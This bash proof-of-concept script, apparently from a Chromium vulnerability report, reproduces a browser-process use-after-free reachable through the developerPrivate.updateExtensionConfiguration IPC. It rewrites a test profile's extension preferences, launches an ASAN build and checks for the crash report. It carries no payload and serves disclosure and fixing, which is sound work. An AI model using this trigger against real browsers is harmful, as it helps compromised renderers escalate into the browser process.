#!/bin/bash
# POC driver: browser-process UAF in
# DeveloperPrivateUpdateExtensionConfigurationFunction::Run().
#
# Threat model: a renderer hosting one of the 7 allowlisted developerPrivate
# platform apps (ADT / Chrome Dev Editor / Spark) is compromised. The
# compromised renderer issues a developerPrivate.updateExtensionConfiguration
# IPC with both fileAccess and hostAccess set against any installed packed
# (CRX) extension. The browser process holds a raw `const Extension*` across
# SetAllowFileAccess() -> ReloadExtension(), which synchronously frees the old
# Extension; subsequent dereferences are UAF.
#
# This script:
#   1. Bootstraps a profile so the target extension's pref entry exists.
#   2. Rewrites the pref entry to location=Internal with an embedded manifest,
#      i.e. exactly what a Web-Store-installed CRX looks like to the reload
#      path (ChromeExtensionRegistrarDelegate::DoLoadExtensionForReload takes
#      the synchronous InstalledLoader branch).
#   3. Relaunches Chrome with the caller platform app, which fires the
#      malicious IPC. The renderer-side patch in chromium-changes.patch forces
#      user_gesture=true on the request (renderer-controlled per
#      extensions/common/mojom/frame.mojom).
#
# --allowlisted-extension-id stands in for "victim has one of the 7
# allowlisted apps installed" (we cannot ship their private keys). It does not
# alter the vulnerable browser-side code path.

set -e

CHROME="${CHROME:-/chromium/chromium/src/out/asan/chrome}"
ARTIFACTS="$(cd "$(dirname "$0")" && pwd)"
PROFILE=/tmp/chrome-poc-profile
CALLER_ID=iedmbinbpnlgcnbnlhkgpbjeonpkkohk
TARGET_ID=jhimbihlpgmogpiemkdpiglbhbeonkbk

COMMON_FLAGS=(
  --no-first-run
  --no-default-browser-check
  --no-sandbox
  --disable-gpu
  --ozone-platform=headless
  --user-data-dir="$PROFILE"
  --enable-logging=stderr
  --allowlisted-extension-id="$CALLER_ID"
)

rm -rf "$PROFILE"
mkdir -p "$PROFILE"

echo '=== Phase 1: bootstrap profile with target extension ==='
timeout 25 "$CHROME" "${COMMON_FLAGS[@]}" \
  --load-extension="$ARTIFACTS/target_ext" \
  about:blank 2>&1 | grep -Ev 'dbus|DBus|udev|dbind' || true

echo '=== Phase 2: rewrite prefs to mark target as packed (Internal) ==='
python3 - "$PROFILE/Default/Preferences" "$TARGET_ID" \
          "$ARTIFACTS/target_ext/manifest.json" <<'PY'
import json, sys
prefs_path, target_id, manifest_path = sys.argv[1:4]
with open(prefs_path) as f:
    prefs = json.load(f)
ext = prefs['extensions']['settings'][target_id]
with open(manifest_path) as f:
    manifest = json.load(f)
ext['location'] = 1          # mojom::ManifestLocation::kInternal
ext['manifest'] = manifest   # packed extensions cache manifest in prefs
ext['creation_flags'] = 1    # NO_FLAGS | REQUIRE_KEY (matches CRX install)
ext['from_webstore'] = False
ext.pop('newAllowFileAccess', None)  # packed default is false; POC toggles->true
ext['state'] = 1             # ENABLED
with open(prefs_path, 'w') as f:
    json.dump(prefs, f)
print('rewrote', prefs_path)
PY

echo '=== Phase 3: launch with caller app -> trigger UAF ==='
timeout 60 "$CHROME" "${COMMON_FLAGS[@]}" \
  --load-extension="$ARTIFACTS/caller_app" \
  about:blank 2>&1 | grep -Ev 'dbus|DBus|udev|dbind' | tee "$ARTIFACTS/asan.log" || true

echo
if grep -q 'AddressSanitizer: heap-use-after-free' "$ARTIFACTS/asan.log"; then
  echo '*** ASAN heap-use-after-free triggered ***'
else
  echo '*** No ASAN report captured ***'
fi
